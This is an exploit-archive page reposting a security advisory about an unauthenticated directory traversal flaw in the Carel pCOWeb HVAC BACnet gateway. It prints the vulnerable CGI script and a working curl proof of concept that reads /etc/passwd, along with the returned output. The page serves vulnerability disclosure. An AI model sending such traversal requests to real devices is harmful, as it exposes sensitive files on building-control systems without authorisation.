exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Carel pCOWeb HVAC BACnet Gateway 2.1.0 Unauthenticated Directory Traversal

Carel pCOWeb HVAC BACnet Gateway 2.1.0 Unauthenticated Directory Traversal
Posted Jul 1, 2022
Authored by LiquidWorm | Site zeroscience.mk

Carel pCOWeb HVAC BACnet Gateway version 2.1.0 suffers from an unauthenticated arbitrary file disclosure vulnerability. Input passed through the file GET parameter through the logdownload.cgi bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks.

tags | exploit, arbitrary, cgi, bash
SHA-256 | 6080b06695bafffc697537b01af1fe9b2c39e6c9237b59563f645f36adbc81cb

Carel pCOWeb HVAC BACnet Gateway 2.1.0 Unauthenticated Directory Traversal

Change Mirror Download

Carel pCOWeb HVAC BACnet Gateway 2.1.0 Unauthenticated Directory Traversal


Vendor: CAREL INDUSTRIES S.p.A.
Product web page: https://www.carel.com
Affected version: Firmware: A2.1.0 - B2.1.0
Application Software: 2.15.4A
Software version: v16 13020200

Summary: pCO sistema is the solution CAREL offers its customers for managing HVAC/R
applications and systems. It consists of programmable controllers, user interfaces,
gateways and communication interfaces, remote management systems to offer the OEMs
working in HVAC/R a control system that is powerful yet flexible, can be easily interfaced
to the more widely-used Building Management Systems, and can also be integrated into
proprietary supervisory systems.

Desc: The device suffers from an unauthenticated arbitrary file disclosure vulnerability.
Input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script
is not properly verified before being used to download log files. This can be exploited
to disclose the contents of arbitrary and sensitive files via directory traversal attacks.

=======================================================================================
/usr/local/www/usr-cgi/logdownload.cgi:
---------------------------------------

01: #!/bin/bash
02:
03: if [ "$REQUEST_METHOD" = "POST" ]; then
04: read QUERY_STRING
05: REQUEST_METHOD=GET
06: export REQUEST_METHOD
07: export QUERY_STRING
08: fi
09:
10: LOGDIR="/usr/local/root/flash/http/log"
11:
12: tmp=${QUERY_STRING%"$"*}
13: cmd=${tmp%"="*}
14: if [ "$cmd" = "dir" ]; then
15: PATHCURRENT=$LOGDIR/${tmp#*"="}
16: else
17: PATHCURRENT=$LOGDIR
18: fi
19:
20: tmp=${QUERY_STRING#*"$"}
21: cmd=${tmp%"="*}
22: if [ "$cmd" = "file" ]; then
23: FILECURRENT=${tmp#*"="}
24: else
25: if [ -f $PATHCURRENT/lastlog.csv.gz ]; then
26: FILECURRENT=lastlog.csv.gz
27: else
28: FILECURRENT=lastlog.csv
29: fi
30: fi
31:
32: if [ ! -f $PATHCURRENT/$FILECURRENT ]; then
33: echo -ne "Content-type: text/html\r\nCache-Control: no-cache\r\nExpires: -1\r\n\r\n"
34: cat carel.inc.html
35: echo "<center>File not available!</center>"
36: cat carel.bottom.html
37: exit
38: fi
39:
40: if [ -z $(echo $FILECURRENT | grep -i gz ) ]; then
41: if [ -z $(echo $FILECURRENT | grep -i bmp ) ]; then
42: if [ -z $(echo $FILECURRENT | grep -i svg ) ]; then
43: echo -ne "Content-Type: text/csv\r\n"
44: else
45: echo -ne "Content-Type: image/svg+xml\r\n"
46: fi
47: else
48: echo -ne "Content-Type: image/bmp\r\n"
49: fi
50: else
51: echo -ne "Content-Type: application/x-gzip\r\n"
52: fi
53: echo -ne "Content-Disposition: attachment; filename=$FILECURRENT\r\n\r\n"
54:
55: cat $PATHCURRENT/$FILECURRENT

=======================================================================================

Tested on: GNU/Linux 4.11.12 (armv7l)
thttpd/2.29


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2022-5709
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5709.php


10.05.2022

--


$ curl -s http://10.0.0.3/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/false
bin:x:2:2:bin:/bin:/bin/false
sys:x:3:3:sys:/dev:/bin/false
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/false
www-data:x:33:33:www-data:/var/www:/bin/false
operator:x:37:37:Operator:/var:/bin/false
nobody:x:65534:65534:nobody:/home:/bin/false
guest:x:502:101::/home/guest:/bin/bash
carel:x:500:500:Carel:/home/carel:/bin/bash
http:x:48:48:HTTP users:/usr/local/www/http:/bin/false
httpadmin:x:200:200:httpadmin:/usr/local/www/http:/bin/bash
sshd:x:1000:1001:SSH drop priv user:/:/bin/false
Login or Register to add favorites

File Archive:

September 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    23 Files
  • 2
    Sep 2nd
    12 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    10 Files
  • 6
    Sep 6th
    8 Files
  • 7
    Sep 7th
    30 Files
  • 8
    Sep 8th
    14 Files
  • 9
    Sep 9th
    26 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    5 Files
  • 13
    Sep 13th
    28 Files
  • 14
    Sep 14th
    15 Files
  • 15
    Sep 15th
    17 Files
  • 16
    Sep 16th
    9 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    12 Files
  • 20
    Sep 20th
    15 Files
  • 21
    Sep 21st
    20 Files
  • 22
    Sep 22nd
    13 Files
  • 23
    Sep 23rd
    12 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    30 Files
  • 27
    Sep 27th
    27 Files
  • 28
    Sep 28th
    8 Files
  • 29
    Sep 29th
    14 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close